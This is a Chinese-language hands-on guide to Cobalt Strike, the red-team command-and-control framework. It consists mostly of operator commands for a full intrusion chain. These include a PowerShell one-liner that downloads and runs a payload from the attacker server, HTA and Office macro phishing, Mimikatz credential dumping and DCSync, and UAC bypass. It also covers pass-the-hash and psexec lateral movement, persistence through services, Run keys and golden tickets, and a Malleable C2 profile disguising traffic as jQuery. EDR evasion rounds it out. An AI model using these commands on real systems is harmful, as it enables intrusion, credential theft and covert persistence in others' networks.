Cobalt Strike 攻防实战完全指南

Cobalt Strike (简称 CS) 是由 Raphael Mudge 开发的商业渗透测试框架,专为红队 (Red Team) 和 APT 攻击模拟设计。它提供了强大的 Beacon、灵活的 C2 通信、丰富的后渗透模块和团队协作功能,是目前最流行的红队工具之一。本文将深入讲解 Cobalt Strike 的完整使用方法和高级攻击技巧。

Cobalt Strike C2 架构 HackHub.org Team Server (C2 服务器) vps.attacker.com Port: 50050 红队成员 A Cobalt Strike Client 连接 Team Server 红队成员 B Cobalt Strike Client 连接 Team Server 🖥️ Beacon 1 Windows 10 192.168.1.100 HTTPS Beacon 🖥️ Beacon 2 Windows Server 10.10.10.50 DNS Beacon 🖥️ Beacon 3 Linux Server 10.10.10.100 SMB Beacon 🖥️ Beacon 4 Domain Controller 10.10.10.10 高价值目标 🎯 核心功能: Beacon 生成 | 横向移动 | 凭证窃取 | 权限维持 | 流量隐藏 | 团队协作 支持多种通信协议: HTTP/HTTPS | DNS | SMB Named Pipe | TCP | Reverse/Bind

📘 什么是 Cobalt Strike?

Cobalt Strike 是一款专业的红队对抗工具,最初由 Raphael Mudge 于 2012 年发布。它基于 Metasploit 架构,但提供了更强大的团队协作、更灵活的 C2 通信和更丰富的后渗透功能。

🎯 核心特性

  • Beacon:轻量级 Payload,支持多种通信协议(HTTP/HTTPS/DNS/SMB)
  • Malleable C2:自定义流量特征,模拟正常软件通信
  • 团队协作:多人同时连接 Team Server,共享 Session
  • 丰富模块:提权、横向移动、凭证窃取、键盘记录等后渗透功能

⚠️ 法律声明

Cobalt Strike 是商业软件,售价约 $3500/年/用户。盗版使用是违法行为,仅可用于合法授权的渗透测试。本文仅供技术学习,请勿用于非法用途。

🚀 Team Server 部署

1. 环境准备

VPS 要求 (推荐 Ubuntu 20.04)
# 安装 Java 环境 (Cobalt Strike 4.x 需要 Java 11+)
sudo apt update
sudo apt install openjdk-11-jdk -y
java -version

# 上传 Cobalt Strike 压缩包
scp cobaltstrike-linux.tgz [email protected]:/opt/

# 解压
cd /opt
tar -zxvf cobaltstrike-linux.tgz
cd cobaltstrike

2. 启动 Team Server

# 语法: ./teamserver <主机IP> <密码> [Malleable C2 Profile]
./teamserver 192.168.1.100 P@ssw0rd123

[*] Generating X509 certificate and keystore (for SSL)
[+] Team server is up on 0.0.0.0:50050
[*] SHA256 hash of SSL cert is: abc123...

# 使用自定义 C2 Profile(推荐)
./teamserver 192.168.1.100 P@ssw0rd123 jquery-c2.4.9.profile

3. 客户端连接

在 Windows/Linux/Mac 上运行 Cobalt Strike 客户端:

# Windows
cobaltstrike.exe

# Linux/Mac
./cobaltstrike

# 连接参数
Host: 192.168.1.100
Port: 50050
User: redteam
Password: P@ssw0rd123

🔴 Beacon 生成与投递

1. 生成 Payload

在 CS 客户端中:Attacks → Packages → Windows Executable

Payload 类型选择
# Listener 类型
- windows/beacon_http/reverse_http     # HTTP Beacon (常用)
- windows/beacon_https/reverse_https   # HTTPS Beacon (推荐)
- windows/beacon_dns/reverse_dns_txt   # DNS Beacon (隐蔽)
- windows/beacon_smb/bind_pipe         # SMB Beacon (内网横向)

# 生成 EXE
Output: beacon.exe
x64: 勾选 (推荐 64 位)

# 或生成 DLL/Service EXE/PowerShell
Output: beacon.dll / beacon_svc.exe / beacon.ps1

2. 无文件攻击(PowerShell)

# 生成 PowerShell 一句话
Attacks → Packages → Scripted Web Delivery (S)

# 目标执行
powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://192.168.1.100:80/a'))"

# 或使用 HTML Application (HTA)
Attacks → Packages → HTML Application
# 目标访问: http://192.168.1.100/beacon.hta

3. Office 宏钓鱼

# 生成宏代码
Attacks → Packages → MS Office Macro

# 将生成的 VBA 代码插入 Word/Excel
# 用户启用宏后即上线 Beacon

📡 Beacon 通信与管理

Beacon 交互

# 右键 Beacon → Interact 进入交互模式

beacon> help  # 查看所有命令

# 基础信息收集
beacon> shell whoami
beacon> shell ipconfig
beacon> shell systeminfo
beacon> pwd
beacon> ls

# 进程管理
beacon> ps  # 列出进程
beacon> kill   # 结束进程

# 文件操作
beacon> download C:\Users\admin\Desktop\passwords.txt
beacon> upload C:\tools\mimikatz.exe
beacon> cd C:\Windows\Temp

Beacon 进程注入

# 注入到指定进程 (提高稳定性)
beacon> inject  x64 tcp-local  # 注入TCP Beacon
beacon> inject 1234 x64 http  # 注入HTTP Beacon

# 生成新进程并注入
beacon> spawn x64 http  # 生成新 Beacon

# 推荐注入目标进程
explorer.exe  # 用户会话进程,重启后仍存在
svchost.exe   # 系统服务进程
rundll32.exe  # 常见系统进程

🎮 后渗透攻击

1. 凭证窃取

Mimikatz 集成
# 抓取密码(需要管理员权限)
beacon> logonpasswords

# 抓取哈希
beacon> hashdump

# 导出票据
beacon> kerberos_ticket_use C:\tickets\admin.ticket

# DCSync 攻击(需要域管权限)
beacon> dcsync corp.com krbtgt

2. 权限提升

# 提权到 SYSTEM
beacon> elevate svc-exe   # 使用服务提权
beacon> elevate uac-token-duplication   # UAC绕过

# 获取 SYSTEM 权限后
beacon> getuid
[*] You are NT AUTHORITY\SYSTEM

# Potato 系列提权
beacon> runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX..."

3. 横向移动

多种横向移动方式
# 1. PsExec (需要管理员凭证)
beacon> jump psexec 10.10.10.50 smb
beacon> jump psexec64 10.10.10.50 smb

# 2. WMI 执行
beacon> jump wmi 10.10.10.50 smb

# 3. PTH (哈希传递)
beacon> pth corp\administrator e19ccf75ee54e06b06a5907af13cef42

# 4. SSH 横向移动
beacon> ssh 10.10.10.100:22 root password123

# 5. 使用凭证创建 SMB Beacon
beacon> remote-exec psexec 10.10.10.50 smb

4. 权限维持

# 创建服务
beacon> sc create "WindowsUpdate" binpath= "C:\Windows\Temp\beacon.exe" start= auto

# WMI 事件订阅
beacon> execute-assembly wmibackdoor.exe

# 注册表启动项
beacon> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\Windows\Temp\beacon.exe"

# 黄金票据(需要 krbtgt 哈希)
beacon> golden_ticket_create corp.com krbtgt  Administrator /ticket:golden.ticket

🔀 内网穿透与代理

1. Socks 代理

# 启动 Socks4a 代理(监听本地端口)
beacon> socks 1080

# 配置 proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf

# 通过代理访问内网
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains firefox  # 浏览器访问内网 Web

2. 端口转发

# Reverse Port Forward (反向端口转发)
beacon> rportfwd 3389 10.10.10.100 3389

# 现在可以通过 localhost:3389 访问内网 RDP
rdesktop localhost:3389

🎭 Malleable C2 Profile(流量伪装)

Malleable C2 允许自定义 Beacon 的通信流量,模拟正常软件(如 jQuery、Google Analytics)的流量特征。

jquery-c2.profile 示例
# jquery-c2.4.9.profile
set sleeptime "30000";  # 心跳间隔 30 秒
set jitter    "20";     # 抖动 20%
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

http-get {
    set uri "/jquery-3.4.9.min.js";
    
    client {
        header "Host" "code.jquery.com";
        header "Accept" "*/*";
        header "Referer" "https://www.google.com/";
        
        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }
    
    server {
        header "Content-Type" "application/javascript";
        header "Server" "nginx";
        
        output {
            print;
        }
    }
}

http-post {
    set uri "/jquery-3.4.9.min.js";
    
    client {
        header "Content-Type" "application/x-www-form-urlencoded";
        
        id {
            parameter "id";
        }
        
        output {
            base64url;
            parameter "data";
        }
    }
    
    server {
        header "Content-Type" "application/javascript";
        output {
            print;
        }
    }
}
# 检查 Profile 语法
./c2lint jquery-c2.4.9.profile

# 使用 Profile 启动 Team Server
./teamserver 192.168.1.100 P@ssw0rd123 jquery-c2.4.9.profile

🕵️ 免杀与对抗检测

1. Artifact Kit(二进制免杀)

# 修改 Artifact Kit 源码
cd /opt/cobaltstrike/artifact-kit/src-common
vim bypass.c  # 修改加载器代码

# 编译
./build.sh

# 加载自定义 Artifact Kit
Cobalt Strike → Script Manager → Load → aggressor.cna

2. Resource Kit(PowerShell 免杀)

# 修改 PowerShell 模板
cd /opt/cobaltstrike/resource-kit/resources
vim template.x64.ps1

# 混淆技术
- 变量名随机化
- Base64 编码
- AES 加密
- 反射加载

3. Sleep Mask Kit(内存免杀)

Sleep Mask 在 Beacon 休眠时加密内存,避免被内存扫描工具检测。

# 编译 Sleep Mask
cd /opt/cobaltstrike/sleep-mask-kit
make

# 配置使用
set sleepmask "sleepmask.o";

👥 团队协作功能

🎯 多人协作特性

  • 共享 Session:所有成员可以看到和操作同一个 Beacon
  • 事件日志:记录所有操作,便于审计和复盘
  • 文件共享:团队成员可共享工具和 Payload
  • 聊天功能:内置聊天室,实时沟通
# 查看在线用户
View → Event Log

# 发送聊天消息
Cobalt Strike → Chat

# 标记高价值目标
右键 Beacon → Session → Note → 添加标签 "Domain Controller"

🚀 高级技巧

1. .NET 程序集执行

# 执行 Rubeus(Kerberos 攻击工具)
beacon> execute-assembly Rubeus.exe kerberoast /outfile:hashes.txt

# 执行 SharpHound(BloodHound 收集器)
beacon> execute-assembly SharpHound.exe -c All --zipfilename corp.zip

2. BOF(Beacon Object Files)

BOF 是轻量级 C 代码片段,在 Beacon 进程内执行,无需注入。

# 加载 BOF 脚本
Cobalt Strike → Script Manager → Load → adcs_enum.cna

# 执行 BOF
beacon> adcs_enum

3. 绕过 EDR

# 使用直接系统调用 (Direct Syscalls)
beacon> execute-assembly SyscallsExample.exe

# 禁用 ETW (Event Tracing for Windows)
beacon> execute-assembly InlineWhispers.exe

# Hook 检测规避
beacon> unhook ntdll.dll

📚 总结

Cobalt Strike 是目前最强大的红队工具之一,掌握它的使用对于渗透测试人员和红队成员至关重要。从 Beacon 生成、横向移动到流量伪装、团队协作,CS 提供了完整的 APT 攻击模拟能力。

⚠️ 使用注意事项

  • 合法授权:仅在获得书面授权的环境中使用 Cobalt Strike
  • 正版软件:购买正版软件,支持开发者
  • 流量加密:使用 HTTPS Beacon 和 Malleable C2 Profile
  • 清理痕迹:测试结束后删除 Beacon 和后门

🖼️ Cobalt Strike 实战界面